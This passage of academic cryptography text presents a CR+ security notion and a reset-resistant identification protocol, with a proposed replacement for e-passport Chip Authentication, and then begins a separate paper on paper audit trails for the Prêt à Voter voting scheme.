The CR1 notion allows MiM to interact with prover instances (concurrently) hav-
ing the goal to impersonate the prover at a later time (off-line attack). The CR2
notion is stronger and allows the adversary to interact with prover instances and
simultaneously attempt to impersonate the prover (on-line attack).

Basically, CR2 security is impossible to achieve since the adversary can sim-
ply relay (copy) all messages between the prover and the verifier. In [10] the
authors discuss this issue and argue that such attacks do not harm, since in
fact the verifier was talking to the actual prover. Hence they do not consider
these attacks as successful attacks in their security definition (which is based on
matching session ids). However, this restriction is not necessary: First, it does
not adequately reflect real scenarios in practice where the MiM could then get
the benefit of an access obtained through the prover. Secondly it can be removed
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by other means in practice, e.g., through techniques such as distance bounding
protocols [12,13,14,15] allowing the prover to ensure that the MiM cannot play
other protocols at the same time, i.e., the protocol is performed with the prover
in one shot and in isolation. Moreover, as we show in Section 2, even when using
techniques like distance bounding, the CR1 notion of [10] would not suffice to
capture attacks where the MiM succeeds in transferring the proof by suspending
and resuming the verifier before and after resettably interacting with the prover.

Our contribution. In this paper, we propose a strong notion of security for
identification protocols, termed CR+, which we believe to adequately model the
non-transferability properties of identification protocols under reset attacks.
Comparing CR+ with the notions of security CR1 and CR2 of Bellare et al. [10], we
stress that CR+ allows the adversary to play different protocols with the prover
and with the honest verifier. In addition, we allow the adversary to start and
suspend the interaction with the verifier, start a resetting attack on the prover,
and finally, resume the interaction with the verifier. The notion CR1 of [10] in-
stead only considers adversaries that interact with the verifier after they have
interacted with the prover.

We then propose a general identification protocol and prove that it is CR+
secure. Specifically, our general protocol is an argument of knowledge1 and guar-
antees CR+ security with respect to any other identification protocol that is an
argument of knowledge. In addition, our protocol makes minimal set-up assump-
tion and it does not require PKI on the verifier side. We also give an efficient
instantiation of our protocol based on the hardness of discrete logarithms.

Moreover, we apply our results to the current proposal for enhanced e-passports
Extended Access Control (EAC) [16,5]. We point out the conceptual weaknesses of
the chip authentication within EAC with respect to the requirements mentioned
above and to our framework CR+. More concretely, we describe a simple attack
on the Chip Authentication protocol which shows that the protocol is not CR+
secure, and propose our efficient instantiation as a possible substitute for the Chip
Authentication protocol.

2 Identification Protocols Secure Against Reset Attacks

Requirement analysis. Given the previous discussion, we focus on the following
requirements.

1. Non-transferability. An adversarial verifier should not be able to exploit
in any useful way the fact that a prover successfully proved his identity
to her. Since the strong on-line attack is unavoidable when the adversary
controls the communication channel, one has to make some physical/setup
assumptions or deploy techniques such as distance bounding [12,13,14,15]

1 An argument of knowledge is a proof of knowledge that is secure against polynomial-
time adversarial provers. This is a widely used security notion for identification
schemes since here the prover has to prove knowledge of a secret information that
corresponds to its identity.
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that help to decrease the viability of these attacks, and reduce it to an off-
line attack. A non-transferable protocol should be resilient to such MiM
attacks.

2. Resettability. Standard security notions do not work anymore when the
adversary has access to the device that is running the honest party protocol,
in particular when the adversary can manipulate it – e.g., reset the inter-
nal state of the prover (see, e.g., [9,10]). These attacks are actually possible
when the adversary has physical control of the device. This happens for in-
stance when an e-passport is given to someone else for performing an identity
control.2 Concretely, e-passports are often physically given to someone who
performs identity checks. Moreover, the random number generation of some
RFID chips have already been successfully attacked due to their weak im-
plementations. Therefore an identification protocol must resilient even to an
adversary who can reset the proving device to a previous state.

3. Practical setup assumptions. In many large scale applications, one de-
sires practical setup assumptions and key management to avoid strong over-
head. Solutions such as the framework of designated verifier proofs require
the existence and the deployment of a public-key infrastructure (PKI) for
managing the keys of the verifiers. For e-passport for instance, having a PKI
on the verifier (reader) side is often an additional and strong overhead, since
it is not practical to manage revocation lists and other updates. Note that
the current proposal for e-passport [16,5] heavily uses PKI, also on the ver-
ifier side. A design goal for identification protocols is therefore the use of
practical setup assumptions and thus no PKI should be used on the verifier
side.

4. Efficiency. Many of the settings where such identification protocols are em-
ployed, consider low-powered devices (smart cards, RFID chips) and thus
there are important efficiency requirements concerning the round, commu-
nication, and computational complexities of the proposed protocols. Beyond
general feasibility results, another goal is the design of protocols that are
both secure and efficient.

Security notion. We follow (and slightly adapt to our setting) the notation used
by Bellare et al. [10]. We assume that the number m(k) of moves for an instance
of the protocol with security parameter k is odd so that the prover is the first
and the last to move. We denote by pk the public key of the prover and by sk
the associated secret key. Each party computes the next message as a function
of its keys, random tape and conversation prefix. More specifically, for identifi-
cation protocol ID(), message msg2j+1, for j integer and 1 ≤ 2j + 1 ≤ m(k),
is computed by the prover as msg2j+1←ID(prvmsg, crs, sk, msg1, · · · , msg2j ; RP )
where crs is the public parameter, RP is the random tape of the prover and
msg1, · · · , msg2j is the current conversation prefix. On the other hand, message

2 This certainly depends on the assumptions one makes with regard to the underlying
device. If one assumes a tamper proof true random number generator (based on
hardware) then the adversary cannot enforce the same physical environment and
consequently the same randomness.
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msg2j , for j integer and 2 ≤ 2j ≤ m(k) − 1, is computed by the verifier as
msg2j←ID(vrfmsg, crs, pk, msg1, · · · , msg2j−1; RV ) where crs is the public pa-
rameter, RV is the random tape of the verifier and msg1, · · · , msg2j−1 is the
current conversation prefix. The following keywords are used in the notation of
the identification protocols: prvmsg used to denote message from P to V , and
vrfmsg for message from V to P ; crsgen is used to generate public parameters on
input the security parameter 1k; keygen is used to generate the pair of public and
secret key of the prover on input of the security parameter 1k and the public
parameters crs, and vrfdec is used by the verifier to decide whether to accept
or not on input of the public parameter crs, the public key pk and the entire
conversation.

We require an identification to be complete in the sense that if prover and
verifier follow the protocol then the verifier accepts except with some negligible
probability.

CR+ security. To define the security of an identification protocol we strengthen
the notion of CR1 introduced by [10]. Our new notion captures security in the
following scenario. We have an adversary A that interacts with multiple instances
of an honest prover that are all running on input pk and using the same public
information crs. A is allowed to reset any of the instances to any state and we
do not want A to gain enough information from this interaction to successfully
complete an identification protocol with an honest verifier on input pk. In the
CR1 notion of [10] the two phases did not overlap in time (with the interaction
with the honest provers to be completed before the interaction with the honest
verifiers will start) and the adversary A was playing the same protocol with
honest provers and honest verifier3.

We get a stronger security notion by considering more powerful adversaries.
Specifically, we allow the adversary to start the interaction with the verifier;
the adversary can suspend the interaction with the verifier and start a resetting
attack with the provers; finally, the adversary can resume the interaction with
the verifier. We stress that, similarly to the CR1 notion of [10], we do not allow
the adversary to interact with the provers and the verifier at the same time.
Indeed, if this kind of attacks were allowed, then the adversary could simply
relay messages between the honest prover and the honest verifier and no protocol
can be secure against this attack. In [10] these stronger attacks where considered
in the notion CR2, however, their CR2 secure protocols work assuming that each
interaction uses a different session ID. We do not follow this approach since in
practice nothing prevents the adversary from using the same ID in all protocols
as it does in the simple relay attack where the adversary copies all messages: For
instance in the CR2-secure construction in [10] the identity is a public-key pk of
a CCA2 encryption scheme. The verifier sends a CCA2 encryption of a challenge
c and the prover answers by sending back the plaintext m. Obviously the MiM

3 Obviously A could play with many verifiers but this would not add extra power
since any succeeding adversary A that plays with many verifiers can be reduced to
a succeeding adversary A′ that plays with just one verifier, by simply emulating
internally all other verifiers required by A.
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can obtain c from the verifier, send c to the prover thus obtaining m, and finally
can give m back to the verifier.

Therefore, given that the adversary has an easy strategy to win, we simply
observe that there is no possible defense against on-line MiM attacks when they
are mounted, and thus it is anyway necessary to resort to physical means to
make sure that the adversary will not play protocols with other verifiers when
it is also playing with a prover. In this context one may use some additional
techniques such as distance bounding [12,13,14,15] where one can guarantee
that the protocol played by the prover with the MiM will be executed in one
shot, and it is isolated from the surrounding environment. Once we have this
guarantee, we can focus on weaker and achievable security definitions.

Moreover, there is another important improvement to CR1 that we consider
in the definition of CR+. Indeed, we also allow the adversary A to play different
identification protocols with the provers and with the verifiers. This covers the
case in which one can design an identification protocol that can be successfully
executed by an adversary (even without knowing the secret key) if an adversary
has access to the prover of a different identification protocol. The notion of [10]
instead considered an adversary successful only if it manages to use the same
identification protocol against itself and thus would guarantee security only if
the same public key was used in only one type of identification protocol.

Therefore, having specified that the relay of messages is a successful attack
and having extended the notions of CR1 and CR2 by assuming that the protocol
played by the adversary with the prover can be different from the one played with
the verifier, we have that when left and right protocols are the same, then CR2
⇒ CR+ ⇒ CR1, moreover CR1 �⇒ CR+ �⇒ CR2, and CR2 is impossible to achieve.
Our goal is to achieve CR+ security, and this will correspond to CR2 with the
restriction that the adversary can have access only once to the prover and can
access it with resetting capabilities, while it is isolated from other verifiers.

Formal definition. We consider probabilistic polynomial-time adversaries A that
are a three-phase adversaries. In the first phase, A can issue a SendVer query
which takes a message msg that is sent to an instance of a honest verifier of iden-
tification protocol IDR and the reply to the query is the next verifier message.
In the second phase the adversary A mounts a resetting attack on protocol ID
in which A can start any number of instances of the prover of ID on input public
key pk. In the third phase, A can resume the instance of protocol IDR started
in the first phase. We say that A is successful if the instance of protocol IDR
is completed successfully. We stress that throughout the attack A is allowed to
start exactly one instance4 of protocol IDR in which A acts as a prover on input
pk. In particular, the verifier of IDR cannot be reset.

Definition 1. Let ID and IDR be two identification protocol. We say that ID
is CR+ secure with respect to IDR if for all probabilistic polynomial-time adver-
saries A the probability that experiment IDCR+A

ID,IDR(k) of Figure 1 returns 1
is negligible in k.

4 As we previously discussed, there is no extra power starting more such instances.
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IDCR+A
ID,IDR(k): Trusted Parameter Initialization:

1. crs←ID(crsgen, 1k); ||Generate trusted parameters.||

Users Initialization:

1. (pk, sk)←ID(keygen, crs, 1k); ||Pick keys via randomized key generation algo-
rithm. ||

2. Choose tape RV for verifier at random; CV ← 0; ||Coins and message counter
for verifier.||

3. trans = ∅;

Execute adversary A on input pk, crs;

– Phase I:
Reply to A’s SendVer(msg) queries as follows:
1. CV = CV + 2, trans = trans ◦ msg;
2. if CV ≤ m(k) − 1 then msgCV

←IDR(vrfmsg, crs, pk, trans; RV ); trans =
trans ◦ msgCV

; return(msgCV
);

3. if CV = m(k)−1 then dec←IDR(vrfdec, crs, pk, trans; RV ); return(dec);
4. if CV > m(k) − 1 then return(⊥);

– Phase II:
p ← 0; || Number of active prover instances. || Reply to A’s WakeNewProver

queries as follows:
|| Activate a new prover instance. ||
1. p ← p + 1; Pick a tape Rp at random;
2. return(p);

Reply to A’s SendPro(i, msg1, · · · , msg2j+1) queries, with 0 ≤ 2j < m(k) and
1 ≤ i ≤ p, as follows: || Send a message to i-th prover instance. ||
1. msg2j+1 ← ID(prvmsg, crs, sk, msg1, · · · , msg2j ; Ri)

a.
2. return (msg2j+1).

– Phase III: exactly like Phase I.

return(dec).

a In a reset attack this message can be sent several times with the same Ri.

Fig. 1. Experiment for the execution of protocol ID with security parameter k in the
CR+ setting and resetting adversary A playing protocol IDR in the right

In Section 3 we give an identification protocol that is an argument of knowledge
and is CR+ non-transferable with respect to all identification protocols that are
arguments of knowledge.

Generalizing CR+ to multiple accesses. While it is reasonable to assume that by
using some physical assumptions, one can be sure that the protocol executed
by the prover is run in one shot, it is not immediately clear while the adversary
should not be able to get again access to prover’s device in the future, then again
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interacting with the verifier and so on. Such extra power makes the attack of the
adversary as strong as the CR2 attack, and thus it is impossible to obtain a secure
identification protocol. Indeed, observe that the restriction that the adversary
plays with the prover in one shot, does not hold anymore as the adversary can
then play some messages with the verifier and can later reset the prover. This
concretely simulates the CR2 attack and allows the adversary to be a proxy that
copies to the verifier all messages played with the prover. This extension of CR+
is therefore impossible to achieve.

An important question is therefore whether the extra power of the adversary
in this extension of CR+ is always possible in real scenarios, and thus there would
be no reason to study CR+ anymore. However, consider the following example.
Since the interaction with V is non-resetting, it does make sense to consider
a scenario where the adversary suspends the execution with V , plays in one
shot with P and then continues again the protocol with V . Indeed, since the
interruption in practice can be just for a very short time, concrete timeouts of
V do not expire. A similar and more concrete example is that of the use of an
e-passport at the border control.

3 Resettably Non-transferable Identification

Overview. In this section we present an efficient identification protocol ID that
considers the security issues previously discussed. We then analyze its security
properties. Our starting point for obtaining CR+ security is the approach used
by [8] for the off-line setting (i.e., the MiM does not work simultaneously with
provers and verifier) with PKI-less verifiers. Indeed, the proposed protocol is a
zero-knowledge5 proof of knowledge and as such it enjoys a satisfying security
notion for both prover (i.e., the zero knowledge property) and verifier (i.e., the
proof of knowledge property). Moreover the zero-knowledge property preserves
the non-transferability of the protocol even in case the adversary will play with
the verifier both before and after playing with the prover.

The only weakness of the protocol proposed in [8] concerns the fact that they
restrict the adversary to sequential interactions with the prover. This, however,
does work in some scenarios where the adversary has physical access to the device
and can mount concurrent and reset attacks against the prover. If one tries to
strengthen the protocol of [8] to make it secure against concurrent/resetting ad-
versaries, then the efficiency of their transformations is immediately lost (indeed,
there is currently no efficient concurrent/resettable zero-knowledge proof system
in their setting). Moreover, there is no hope to preserve the proof of knowledge
property (at least for the black-box sense) against a resetting adversary.

We therefore play with the set-up assumptions in order to strengthen their
solution still keeping it viable in several applications, and in particular for the
one that they proposed, i.e., citizens identification through e-passports.

5 Notice that zero knowledge implies other security properties as witness indistin-
guishability and witness hiding.
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The setup assumption that we consider is the use of trusted parameters that
we assume are known when parties run the protocol. Our trusted parameters do
not correspond to a verifier public key, therefore we keep the PKI-less feature on
the verifier side. For verifier security, by appropriately using the trusted para-
meters we achieve the argument of knowledge property while at the same time
the adversary can mount reset attacks. Notice that the argument of knowledge
property along with security against reset attacks is impossible to achieve with-
out some setup assumption (the adversary would be as strong as the extractor),
therefore this justifies the use of trusted parameters. For prover security, we show
that resettable witness indistinguishability sufficies against transferability attacks
(similar approaches were used in [10]). Even though our protocol also achieves re-
settable zero knowledge in the trusted parameters model, we follow the approach
of [10] and consider resettable witness indistinguishability since in general reset-
table zero knowledge could be a requirement that only increases the complexity
of a non-transferable protocol. Concretely, our protocol is a special argument of
knowledge that is CR+ non-transferable with respect to any argument of knowl-
edge. Our protocol achieves a general (rather than self) non-transferability prop-
erty and works in a setting that admits wide applications.

The CR+ security proof of our protocol ID works as follows.

1. We include in the set of trusted parameters the parameters of a trapdoor
commitment scheme6; this will let us to prove the argument of knowledge
property, indeed the extractor will use a secret associated to the commitment
parameters, and this is not known to the resetting adversary.

2. We include in the trusted parameters another public key pk’; this will be
used to reach a contradiction (see Section 3.1).

3. We run the experiment of CR+ by using in ID the secret that corresponds
to pk’ instead of the one corresponding to pk; by the resettable witness
indistinguishability of ID the adversary will not notice any difference.

4. We assume that the adversary transfers a proof from ID to IDR.
5. We run the extractor of IDR obtaining the secret key associated to pk7 thus

breaking pk (if we instead always obtain pk′ we can run a symmetric game
where we break pk′).

In order to design the resettable witness indistinguishable argument of knowl-
edge ID, we will try to be as much general as possible, therefore we will present
a general protocol based on the popular Σ-protocols. These protocols exist for
many useful languages and often admit efficient instantiations. We will then sug-
gest an instantiation based on Schnorr’s protocol [18] and argue its applicability
to the e-passport framework.

Generic protocol. Let 1k be the security parameter. The crsgen procedure out-
puts as public parameters a randomly chosen hard instance pk′ of a language L′

6 Such commitment schemes when defined in the trusted parameters model allow a
party to open a commitment as any valid messages, in case it knows the trapdoor
associated to the trusted parameters. See [17] for formal definitions.

7 This step requires that IDR is an argument of knowledge.
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admitting a Σ-protocol ΠΣ′ and the public parameters tc of a trapdoor com-
mitment scheme.

The keygen procedure outputs as public key pk of P a randomly chosen hard
instance for a language L admitting a Σ protocol ΠΣ, along with the corre-
sponding NP witness sk as secret key.

The protocol can be described as follows. We consider the OR-composition
of the two Σ-protocols obtained using the techniques of [19] and that produces
another Σ-protocol ΠΣ∨ , which 3 rounds are denoted (a, c, z). Protocol ID that
we propose starts by requiring that V uses tc to send a commitment ĉ of the
challenge c of ΠΣ∨ . Then P uses a pseudorandom function to obtain the ran-
domness to use in the next steps. P computes and sends the first message a of
ΠΣ∨ . Then V opens to c the commitment ĉ. Then P sends the last message z of
ΠΣ∨ . Finally V runs the decision procedure of ΠΣ∨ thus accepting or rejecting
the proof. The protocol is illustrated in Figure 2.

Security parameter: k.
Tools: pseudorandom function f , trapdoor commitment scheme
(Gen, Com, TCom, TDec, Ver).
Common input: the public information (pk′, tc) and the public key of the
prover pk.
P ’s private input: sk that is an NP witness for pk in L.
P ’s randomness: randomly pick a seed s; the randomness of P will be taken
from the output of f(s, ĉ) where ĉ is the first message received from V .

V : select a message c for ΠΣ∨ , compute and send ĉ = Com(c).
P : generate and send the first message a for ΠΣ∨ .
V : open ĉ to c.
P : check that the opening of ĉ to c is correct and then compute and send the

last message z of ΠΣ∨ .
V : accept iff (a, c, z) is an accepting transcript for ΠΣ∨ .

Fig. 2. ID: CR+ Non-Transferable Identification

3.1 Analysis

We now show that the protocol depicted in Fig. 2 is CR+ secure. Completeness can
be obtained by inspection since if P follows the protocol, then V trivially always
accepts. For proving CR+ non-transferability we first show that the protocol is a
resettable witness-indistinguishable (rWI) argument of knowledge. Then we will
show that any adversary for the CR+ non-transferability property can be used to
reach a contradiction.

ID is a rWI argument of knowledge. Completeness is straight-forward since by
inspection we can observe that the honest verifier accepts the proof given by the
honest prover on input the secret key.
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The argument of knowledge property can be proved by showing an extractor
E that outputs a valid secret key with probability p′ such that |p′ − p| ≤ ε(k)
for a negligible function ε, whenever an adversarial prover P � can succeed in
convincing a honest verifier with probability p. E runs on input the trapdoor
that corresponds to the parameters tc of the trapdoor commitment scheme.

E runs the honest verifier algorithm with the following exception: it com-
putes the commitment c in the first round using the trapdoor. Notice that this
experiment is indistinguishable from the real game played by P � and the hon-
est verifier V since the trapdoor property of the trapdoor commitment scheme
guarantees that commitments computed using the trapdoor are indistinguishable
from commitments computed using the honest commitment function. Therefore,
if P � succeeds with honest V with probability p = p0, it will succeed with E
with probability p1 where |p1 − p0| is negligible in k. The extractor E then goes
back to the opening phase and instead of opening ĉ to c, it opens ĉ to a randomly
chosen message c′. Here we have that the probability that c = c′ is negligible in
k. Moreover, we have again that the trapdoorness of the trapdoor commitment
scheme guarantees that P � completes again successfully the proof with proba-
bility p2 where |p2 − p1| is negligible in k. Notice that by the special soundness
property of ΠΣ∨ , E extracts from the two accepting transcripts either a valid
secret key sk corresponding to pk or the witness w for the hard instance pk′ ∈ L′.
From the above discussion, the probability that E extracts one of those two wit-
nesses is p2 ≤ p + ε(k) for some negligible function ε. Finally we have that if
the extracted witness is with overwhelming probability sk, then the extraction
procedure is successful with probability p′. Instead, if with non-negligible prob-
ability the witness extracted corresponds to pk′ ∈ L′, we have that the previous
game with non-negligible probability breaks the hard instance that is stored in
the trusted parameters, thus contradicting the assumption that the instance is
hard. This implies that p′ ≤ p2 + ε(k) for some negligible function ε and thus it
concludes the proof of the argument of knowledge property.

To prove the resettable witness-indistinguishable property we can use the gen-
eral approach of [9] since our protocol follows the paradigm that they introduced
to design rWI proof systems8. For the sake of clarifying the features of the pro-
tocol, we now give a sketched proof. First of all, notice that by Proposition 1
of [19] we have that ΠΣ∨ is witness indistinguishable. By adding a commitment
of the challenge to the first round, we have only an additional constraint for the
adversarial verifier and thus witness indistinguishability is trivially preserved.
Moreover, it is known by [20,21] that witness indistinguishability is preserved
under concurrent composition. In order to claim rWI, we have therefore only
to consider the resets performed by V �. However, notice that the randomness
used by the prover is the output of the pseudorandom function on input the
first message of the verifier. Therefore, any reset of V � where it feeds to P a
different commitment under a previously used randomness, will correspond to a

8 The verifier first commits and then the only message it sends are openings of the
committed messages. The prover uses as randomness the output of a pseudorandom
function on input the commitment of the verifier and a random seed.
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new incarnation of P that will use new pseudorandom bits as randomness. The
capability of V � in succeeding in a reset attacks can therefore be converted to a
distinguisher that distinguishes the use of random bits from the use of pseudo-
random bits and therefore would break the pseudorandomness of the pseudoran-
dom function. There is one more subtle point to consider: since the randomness
of P is fixed after the commitment of the first round, we have that in case V
manages to open the committed message in two different ways, it would run
P twice with the same pseudorandom bits but under different transcripts. This
clearly would violate the preservation of the witness indistinguishability prop-
erty. However, such a capability of V with non-negligible probability p would
immediately correspond to an adversary that with non-negligible probability p
breaks the binding property of the trapdoor commitment scheme instantiated in
the trusted parameters.

CR+ non-transferability. Assume there is a MiM A that succeeds in transferring
a proof during a CR+ attack with non-negligible probability p0. We show how
to use A for reaching a contradiction. First of all, we run A with fake but
perfectly indistinguishable parameters (pk′, tc) and public key pk. Protocol IDR
is played by running the honest verifier algorithm. Protocol ID instead is played
by running the honest prover algorithm of ΠΣ but using as witness the one
corresponding to ΠΣ′ protocol (which instance pk′ is in the trusted parameters).
Notice that A will still succeed in IDR with probability p1 such that |p1 − p0|
is negligible in k, otherwise it would immediately contradict the rWI property
of ID that we have proved above.

We can then replace the verifier of IDR by the corresponding extractor. Its
execution still guarantees that A succeeds in IDR with probability p2 such that
|p2 − p1| is negligible. The execution of the extraction procedure will potentially
require multiple rewinds and consequently multiple executions of ID. Finally,
in case the extractor IDR will give as output one sk. we have that A can be
used to break an hard instance of L. Instead, in case we have that the extraction
procedure fails, notice that the only difference between the real game where A
succeeds and this game, consists in the different witness used by the prover of
ID. Therefore, either the extraction procedure on IDR succeeds and we break
an hard instance of L, or it fails and in this case we have a distinguisher for
the resettable witness indistinguishable property of ID. However, since we have
already proved the resettable witness indistinguishable property of ID, we have
reached a contradiction. This ends the proof.

4 Efficient Instantiation and Application to E-Passports

The CR+-secure identification protocol ID that we have shown can be instan-
tiated very efficiently in the following way. The trapdoor commitment scheme
can be Pedersen’s commitment scheme, which requires a k-bit prime q, a prime
p = 2q + 1 and two generators g, h of the subgroup G of Z�

p of q elements for
the trusted parameters. The trapdoor will be the discrete logarithm α of h with
base g mod p. For language L′ and an hard instance pk′ we can simply consider
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Security Parameter: k.
Tools: pseudorandom function f .
Common input: The public information (p, q, g, h, pk′).
P ’s identity: pk ∈ Gq .
P ’s private input: sk such that gsk = pk (mod p).
P ’s randomness: randomly pick a seed s; the randomness of P will be taken
from the output of f(s, Ĉ) where Ĉ is the first message received from V .

V : Randomly pick C ∈ Zq and commit to c by computing Ĉ = gChr for a
random r ∈ Zq. Send Ĉ to P .

P : Randomly pick s0, C1, Z1 ∈ Zq , and set A0 = gs0 and A1 = gZ1pk−C1

(mod q). Send A0 and A1 to V .
V : Upon receiving (A0, A1), open commitment Ĉ by sending (C, r).
P : Check that the opening is correct and then compute Z0 as follows: C0 = C−C1

(mod q), Z0 = s0 + C0sk (mod q). Send (Z0, C0, Z1, C1).
V : Accept if C0 + C1 = C (mod q) and if gZ0 = A0pkC0 (mod p) and gZ1 =

A1pk′C1 (mod p).

Fig. 3. Efficient CR+ Non-Transferable Identification Protocol IDDLOG

G and a random element pk ∈ G. A randomly chosen pair of public and secret
keys can be respectively a pair (pk, sk) where gsk = pk (mod p). ΠΣ′ and ΠΣ

will coincide with Schnorr’s Σ protocol. The protocol is illustrated in Figure 3.
We consider such a protocol as a possible substitute for the Chip Authenti-

cation protocol of EAC [16,5] to be used in the next generation of e-passports.
The next generation of e-passports will make use of public-key cryptography for
identification and cloning prevention and it is assumed that the owner will hand
over his passport to the border control guard that thus has physical control of
the device for a time interval. Therefore, the e-passport could in general be sub-
ject to reset attacks where the malicious inspection system will try to gain as
much information as it can in order to impersonate that identity later. Moreover,
it is also possible that the inspection system initiated an identification protocol
with a verifier before starting his slot in the border control system and will try to
continue it as soon as he will finish his slot. The CR+ notion of non-transferability
perfectly fits the setting of the e-passports.

Note that the current proposal for chip authentication protocol in Extended
Access Control [5] of e-passport is not CR+ secure (and thus transferable). Con-
sider our attack from Section 2 on resettable identification scheme with CCA2
encryption from [10]. Then we obtain an attack on the Chip Authentication
Protocol by simply replacing the identity of the prover with a Diffie-Hellman
contribution A (representing the static public key in the chip authentication pro-
tocol of EAC). The message of the verifier will be a randomized Diffie-Hellman
contribution B and the identification of the prover is concluded by means of
the passive authentication step C that consists in a message sent by the prover
according to the Diffie-Hellman exchanged key K. Therefore, by replacing pk
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with A, c with B and m with C, we can mount precisely the same attack. Notice
further that in our attack we did not have to resort to any reset. This implies
that the EAC chip authentication protocol is transferable even if the adversary
can not perform resets.

The protocol that we have proposed works in the trusted parameters model. No-
tice that this is not an extra assumption for the application to e-passports as pass-
ports by their ownnature assume a trusted authority. Indeed, e-passports aremade
by governments and readers at the border control already trust the parameters de-
cidedby those governments (i.e., theyacceptas valid the identities certified through
digital signatures and digital certificates by those governments). Therefore there is
no extra assumption when in the context of e-passport a government also appends
to its public information the parameters that we require as trusted parameters.

Another feature of our candidate implementation for e-passports is that there
is no public-key requirement on the verifier side. Note that the current proposal
for e-passport heavily uses PKI and hence, for e-passports, the management of
a PKI is problematic as it should include a key-revocation management that
would be difficult to implement.

5 Conclusion

In this paper, we have proposed a new security notion for identification pro-
tocols, termed CR+, which we believe to adequately model the achievable non-
transferability properties of identification protocols under reset attacks.

We then have proposed as identification protocol an argument of knowledge
in the trusted parameters model that is CR+ secure with respect to any other
argument of knowledge. In addition, our protocol makes minimal set-up assump-
tion, does not require PKI on the verifier side and can be efficiently instantiated
with all languages admitting Σ-protocols.

We have also applied our results to the current proposal for enhanced e-
passports pointing out the conceptual transferability weaknesses of the chip au-
thentication protocol. Finally we have proposes an efficient instantiation of out
general result as a possible substitute for the Chip Authentication protocol.
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Abstract. The Prêt à Voter election scheme provides high assurance
of accuracy and secrecy, due to the high degree of transparency and
auditability. However, the assurance arguments are subtle and involve
some understanding of the role of cryptography. As a result, establishing
public understanding and trust in such systems remains a challenge. It
is essential that a voting system be not only trustworthy but also widely
trusted.

In response to this concern, we propose to add a mechanism to Prêt à
Voter to generate a conventional (i.e. human readable) paper audit trail
that can be invoked should the outcome of the cryptographic count be
called into question. It is hoped that having such a familiar mechanism
as a safety net will encourage public confidence. Care has to be taken
to ensure that the mechanism does not undermine the carefully crafted
integrity and privacy assurances of the original scheme.

We show that, besides providing a confidence building measure, this
mechanism brings with it a number of interesting technical features: it
allows extra audits of mechanisms that capture and process the votes to
be performed. In particular, the mechanism presented here allows direct
auditing of ballots that are actually used to cast votes. This is in contrast
to previous versions of Prêt à Voter, and indeed other verifiable schemes,
that employ a cut-and-choose mechanism. The mechanism proposed also
has the benefit of providing a robust counter to the danger of voters un-
dermining the receipt-freeness property by trying to retain the candidate
list.

1 Introduction

There has been much concern lately as to the trustworthiness of electronic voting
systems such as touch screen devices, where the integrity of the count depends
heavily on the correctness of the code running on the voting machines. Re-
searchers have pointed out the ease with which the count could be manipulated
in virtually undetectable ways [10]. One response to these concerns, originally
proposed by Mercury [13], is to incorporate a Voter Verifiable Paper Audit Trail
(VVPAT), essentially a paper copy of the voter’s intent that is printed in the
booth and checkable by the voter. Whilst such a mechanism is doubtless an
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improvement on the situation in which the count is retained solely in software,
with no paper back-up at all, there are still problems:

– Paper audit trails are not invulnerable to corruption.
– It is not clear how any conflicts between the computer and paper audit counts

should be resolved.
– Humans are notoriously bad at proof-reading, especially their own material,

and hence bad at detecting errors in a record of their choices [3].
– Even if the voter does notice a discrepancy with the paper record created

at the time of casting, it may be tricky to resolve, especially without under-
mining the privacy of the ballot.

– It is not clear under what circumstances the audit trail should be invoked.

An alternative response is to devise schemes that provide high levels of as-
surance via a high degree of transparency and with minimal dependency on
technology. Such schemes provide Voter-verifiability in a different sense: voters
have a way to confirm that their vote is included in a universally auditable
tabulation that is performed on an append-only Web Bulletin Board (WBB) [6].

Prêt à Voter [28,27,1,21,23,24,26,11,12,30] is a particularly voter-friendly ex-
ample of such high assurance, trustworthy voting schemes. It aims to provide
guarantees of accuracy of the count and ballot privacy that are independent of
software, hardware etc. Assurance of accuracy flows from maximal transparency
of the process, consistent with maintaining ballot privacy.

Verifiable schemes like Prêt à Voter, VoteHere [14], and PunchScan [5], ar-
guably provide higher levels of assurance than even conventional pen-and-paper
elections, and certainly far higher assurance than systems that are dependant on
the correctness of (often proprietary) code. However, the assurance arguments
are subtle and it is unreasonable to expect the electorate at large to understand
them. Whether the assurances of experts will be enough to reassure the various
stakeholders is unclear. This is probably especially true during the early phase of
introduction of such systems until a track record has been established. It seems
sensible therefore to explore the possibility of incorporating more conventional
mechanisms to support public confidence.

Randell and Ryan [17] explored the possibility of voter-verifiable schemes
without the use of cryptography. This tried to achieve similar integrity, verifi-
ablity and privacy goals but using only more familiar, physical mechanisms such
as scratch strips. The resulting levels of assurance, in the technical sense, are
not as high as for Prêt à Voter.

A more recent proposal is ThreeBallot due to Rivest [18]. This does indeed
provide voter-verifiability but at the cost of a non-trivial voter interface: voters
a required to mark three ballots in such a way as to encode their vote (two votes
for their candidate of choice, one for all others) and to retain one ballot, chosen
at random. Besides the non-trivial voter interface, a number of vulnerabilities in
ThreeBallot have been identified, several in Rivest’s original paper. It is probably
fair to conclude that ThreeBallot, whilst being a conceptual breakthrough, does
not, as it stands, provide a viable scheme for real elections.
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Here we explore a rather different route: supplementing a cryptographic scheme
with a conventional paper audit trail backup that we refer to as a Human Readable
Paper Audit Trail (HRPAT). This approach was first explored in [20]. Introducing
such a mechanism may introduce certain vulnerabilities not present in the original
scheme. However, it may be argued that it is worth introducing such risks, at least
during trials and early phases of deployment.

In this paper we propose some enhancements to the scheme [20] that gives rise
to a number of additional auditing possibilities. This minimises threats to ballot
privacy while maximising the reassurance of having a conventional mechanism
as a backup. Once sufficient levels of trust and confidence have been established
in a verifiable, trustworthy scheme like Prêt à Voter, we would hope that the
scaffolding of an HRPAT could be cast aside.

Besides the confidence building aspects we find that the HRPAT mechanisms
proposed here provide a number of unexpected technical benefits. It can pro-
vide a robust counter to the danger of voters attempting to leave the polling
station with the left hand element of the Prêt à Voter ballot form. This shows
the candidate order and so could provide a potential coercer with proof of the
vote. A number of possible counter-measures to this threat have been identified
previously, for example the provision of decoy candidate lists [23,25], but the
mechanism here appears to be particularly robust. The procedure we propose
here involves the officials verifying that the voter submits the component of the
ballot that carries the candidate order at the time of casting.

The approach proposed here enables a number of additional auditing pro-
cedures to be introduced that significantly increase the assurance of accuracy,
assuming that the integrity of the paper audit trail can be ensured.

The second author previously proposed a Verified Encrypted Paper Audit
Trail (VEPAT) mechanism [29]. Whilst this enhances assurance from a technical
point of view, the audit trail is not human-readable and so it does not really
help with public perception and confidence. It is hoped that the scheme proposed
here should be more familiar and understandable.

2 Outline of Prêt à Voter

The key innovation of the Prêt à Voter approach is to encode the vote using a
